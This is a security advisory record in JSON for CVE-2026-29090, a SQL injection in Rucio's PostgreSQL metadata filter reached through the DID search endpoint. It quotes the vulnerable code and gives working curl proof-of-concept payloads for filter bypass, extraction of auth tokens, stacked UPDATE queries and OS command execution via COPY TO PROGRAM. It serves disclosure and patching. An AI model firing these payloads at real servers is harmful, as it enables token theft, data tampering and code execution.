{"id":"GHSA-6j7p-qjhg-9947","summary":"Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API","details":"### Summary\n\nA SQL injection vulnerability in `FilterEngine.create_postgres_query` allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (`GET /dids/\u003cscope\u003e/dids/search`). When the external metadata plugin `postgres_meta` is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python `str.format`. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via `COPY ... FROM PROGRAM`.\n\n---\n\n### Details\n\nThe vulnerability exists in `lib/rucio/core/did_meta_plugins/filter_engine.py` within the `create_postgres_query()` method (lines 408-484). This method builds raw SQL strings via Python `.format()` across 6 distinct injection points:\n\n**filter_engine.py:477** (string equality — default branch):\n```python\nexpression = \"{}-\u003e\u003e'{}'  {} '{}'\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:442** (wildcard/LIKE branch):\n```python\nexpression = \"{}-\u003e\u003e'{}'  LIKE '{}' \".format(jsonb_column, key, value.replace('*', '%'))\n```\n\n**filter_engine.py:456** (boolean branch — value unquoted):\n```python\nexpression = \"({}-\u003e\u003e'{}'  )::boolean {} {}\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:462** (numeric branch — value unquoted):\n```python\nexpression = \"({}-\u003e\u003e'{}'  )::float {} {}\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:472** (datetime branch):\n```python\nexpression = \"({}-\u003e\u003e'{}'  )::timestamp {} '{}'\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:479** (non-JSONB column fallback):\n```python\nexpression = \"{} {} '{}'\".format(key, POSTGRES_OP_MAP[oper], value)\n```\n\nBoth `key` and `value` are attacker-controlled strings derived from HTTP query parameters. The resulting `expression` string is concatenated into a larger query string (`postgres_query_str`) that is then passed to `psycopg3`'s `sql.SQL()`:\n\n```python\n# postgres_meta.py:314-316\nstatement = sql.SQL(\"SELECT * FROM {} WHERE {} {}\").format(\n    sql.Identifier(self.table),\n    sql.SQL(postgres_query_str),   # \u003c-- UNSANITIZED user-derived string\n    sql.SQL(\"LIMIT {}\").format(sql.Literal(limit)) if limit else sql.SQL(\"\")\n)\n```\n\n`sql.SQL()` wraps the string as a trusted SQL syntax fragment — it does **not** escape or parameterize its contents. The statement is then executed via `cur.execute(statement)` at `postgres_meta.py:321`.\n\n#### Why no existing defense blocks this\n\nThe data flow from HTTP request to SQL execution passes through multiple layers with no effective sanitization:\n\n1. **HTTP input** (`dids.py:265-274`): Filter keys and values are accepted from query parameters via `ast.literal_eval()` or directly from individual query argument names/values. The fallback path only excludes 4 reserved keys (`type`, `limit`, `long`, `recursive`).\n\n2. **Plugin routing** (`did_meta_plugins/__init__.py:227-248`): Each filter key is checked via `manages_key()`. `postgres_meta.manages_key()` **unconditionally returns `True`** (line 345) — it accepts ANY filter key without validation.\n\n3. **FilterEngine initialization**: The `postgres_meta` plugin instantiates `FilterEngine` with `strict_coerce=False`. Unknown keys pass through `_coerce_filter_word_to_model_attribute()` as raw strings.\n\n4. **Value typecasting** (`filter_engine.py:275-297`): `_try_typecast_string()` attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged.\n\n5. **Sanity checks** (`filter_engine.py:149-190`): `_sanity_check_translated_filters()` does **not** validate arbitrary key names or values for SQL-unsafe characters.\n\n6. **SQL construction** (`filter_engine.py:442-479`): The unsanitized key and value strings are interpolated directly into raw SQL strings via `.format()`.\n\n7. **SQL execution** (`postgres_meta.py:316,321`): The raw string is wrapped in `sql.SQL()` (treated as trusted SQL) and executed via `cur.execute()`.\n\n---\n\n### PoC\n\n**Prerequisites:**\n- A Rucio instance using PostgreSQL as the database backend\n- The `postgres_meta` metadata plugin **explicitly configured** (this is NOT the default — the default is `json_meta`)\n- Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)\n\n#### 1. Obtain an authentication token\n\n```bash\nTOKEN=$(curl -s -k \\\n  -H 'X-Rucio-Account: testuser' \\\n  -H 'X-Rucio-Username: testuser' \\\n  -H 'X-Rucio-Password: testpass' \\\n  'https://rucio.example.org/auth/userpass' \\\n  -D - 2\u003e/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\\r')\n```\n\n#### 2. Value injection — boolean-based filter bypass\n\n```bash\n# postgres_meta uses create_postgres_query() -\u003e raw string formatting\n# filter_engine.py:477: \"{}-\u003e\u003e'{}'  {} '{}'\".format(jsonb_column, key, op, value)\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1\"\n\n# URL-decoded: custom_key=x' OR '1'='1\n#\n# Generated SQL fragment:\n#   data-\u003e\u003e'custom_key' = 'x' OR '1'='1'\n#\n# Effect: WHERE clause always true, returns all rows\n```\n\n#### 3. Key injection via query parameter name\n\n```bash\n# The key is single-quoted but unescaped — injection via closing quote.\n# filter_engine.py:477: \"{}-\u003e\u003e'{}'  {} '{}'\".format(jsonb_column, key, op, value)\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything\"\n\n# URL-decoded: key = x' OR 1=1--  , value = anything\n#\n# Generated SQL fragment:\n#   data-\u003e\u003e'x' OR 1=1-- ' = 'anything'\n#              ^^^^^^^^ injected, -- comments out the rest\n```\n\n#### 4. UNION-based data extraction\n\n```bash\n# Extract auth tokens from the tokens table.\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--\"\n\n# URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens --\n#\n# Effect: Appends tokens table contents to the result set\n```\n\n#### 5. Stacked queries — data modification\n\n```bash\n# PostgreSQL supports multiple statements separated by ;\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--\"\n\n# URL-decoded: custom_key=x'; UPDATE accounts SET account_type='SERVICE' WHERE account='testuser'; --\n```\n\n#### 6. Remote code execution (if database user has superuser privileges)\n\n```bash\n# PostgreSQL COPY ... FROM PROGRAM executes OS commands\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20\u003e%20/tmp/pwned';%20--\"\n\n# URL-decoded: custom_key=x'; COPY (SELECT '') TO PROGRAM 'id \u003e /tmp/pwned'; --\n# Requires: database user with pg_execute_server_program or superuser role\n```\n\n#### 7. Alternative entry via `filters` query parameter\n\n```bash\n# The filters parameter accepts Python literal syntax via ast.literal_eval().\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D'\n\n# URL-decoded: filters=[{\"custom_key\": \"x' OR '1'='1\"}]\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** SQL Injection (CWE-89)\n\n**CVSS v3.1:** 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n**Who is impacted:**\n\n- Rucio deployments that have explicitly configured the `postgres_meta` metadata plugin.\n\n**What an attacker can do:**\n\n- **Data modification:** PostgreSQL stacked queries enable arbitrary `INSERT`/`UPDATE`/`DELETE` operations.\n- **Remote code execution:** Via PostgreSQL's `COPY ... FROM PROGRAM` if the database user has superuser or `pg_execute_server_program` privileges.\n- **File system access:** Via `COPY ... TO/FROM '/path'` if filesystem permissions allow.\n\n**Further elevation when the same postgres database and access is used for metadata and for Rucio itself**\n\n- **Full database read access:** Extract any table including `identities` (password hashes and salts), `tokens` (active authentication sessions), `accounts` (user enumeration), `rse_settings` (storage endpoint credentials), and `rules` (data management policies) could be extracted.\n- **Password hash extraction:** Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.\n- **Authentication token theft:** Active bearer tokens can be extracted and used for immediate session hijacking.\n\n**Required attacker privileges:** Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The `GET /dids/\u003cscope\u003e/dids/search` endpoint is available to all authenticated users.","aliases":["CVE-2026-29090","PYSEC-2026-527"],"modified":"2026-06-30T16:45:17.925520051Z","published":"2026-05-06T16:44:07Z","database_specific":{"cwe_ids":["CWE-89"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-05-06T16:44:07Z","nvd_published_at":"2026-05-06T18:16:02Z"},"references":[{"type":"WEB","url":"https://github.com/rucio/rucio/security/advisories/GHSA-6j7p-qjhg-9947"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29090"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-6j7p-qjhg-9947"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/rucio/PYSEC-2026-527.yaml"},{"type":"PACKAGE","url":"https://github.com/rucio/rucio"},{"type":"WEB","url":"https://pypi.org/project/rucio"}],"affected":[{"package":{"name":"rucio","ecosystem":"PyPI","purl":"pkg:pypi/rucio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.30.0"},{"fixed":"35.8.5"}]}],"versions":["1.30.0","1.30.1","1.30.2","1.30.3","1.30.4","1.30.5","1.30.6","1.30.7","1.30.8","1.31.0","1.31.0rc1","1.31.0rc2","1.31.0rc3","1.31.1","1.31.2","1.31.3","1.31.4","1.31.5","1.31.6","1.31.7","32.0.0","32.0.0rc1","32.0.0rc2","32.1.0","32.2.0","32.3.0","32.3.1","32.4.0","32.5.0","32.5.0.post1","32.5.1","32.6.0","32.6.0.post1","32.7.0","32.8.0","32.8.1","32.8.2","32.8.3","32.8.4","32.8.5","32.8.6","33.0.0","33.0.0rc1","33.0.0rc2","33.0.0rc3","33.1.0","33.2.0","33.2.1","33.3.0","33.4.0","33.4.0.post1","33.5.0","33.6.0","33.6.1","34.0.0","34.0.0rc1","34.0.0rc2","34.1.0","34.2.0","34.3.0","34.4.0","34.4.1","34.4.2","34.4.3","34.5.0","34.6.0","35.0.0","35.0.0rc1","35.0.0rc2","35.0.1","35.1.0","35.1.1","35.2.0","35.2.1","35.3.0","35.4.0","35.4.1","35.5.0","35.6.0","35.6.1","35.7.0","35.8.0","35.8.1","35.8.2","35.8.3","35.8.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-6j7p-qjhg-9947/GHSA-6j7p-qjhg-9947.json"}},{"package":{"name":"rucio","ecosystem":"PyPI","purl":"pkg:pypi/rucio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"36.0.0"},{"fixed":"38.5.5"}]}],"versions":["36.0.0","36.0.0.post1","36.0.0.post2","36.1.0","36.2.0","36.3.0","36.4.0","36.5.0","37.0.0","37.0.0rc1","37.0.0rc2","37.0.0rc3","37.0.0rc4","37.1.0","37.1.0.post1","37.2.0","37.3.0","37.4.0","37.5.0","37.6.0","37.7.0","37.7.1","38.0.0","38.0.0rc1","38.0.0rc2","38.0.0rc3","38.1.0","38.2.0","38.3.0","38.4.0","38.5.0","38.5.1","38.5.2","38.5.3","38.5.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-6j7p-qjhg-9947/GHSA-6j7p-qjhg-9947.json"}},{"package":{"name":"rucio","ecosystem":"PyPI","purl":"pkg:pypi/rucio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"39.0.0"},{"fixed":"39.4.2"}]}],"versions":["39.0.0","39.1.0","39.2.0","39.3.0","39.3.1","39.4.0","39.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-6j7p-qjhg-9947/GHSA-6j7p-qjhg-9947.json"}},{"package":{"name":"rucio","ecosystem":"PyPI","purl":"pkg:pypi/rucio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"40.0.0"},{"fixed":"40.1.1"}]}],"versions":["40.0.0","40.1.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-6j7p-qjhg-9947/GHSA-6j7p-qjhg-9947.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}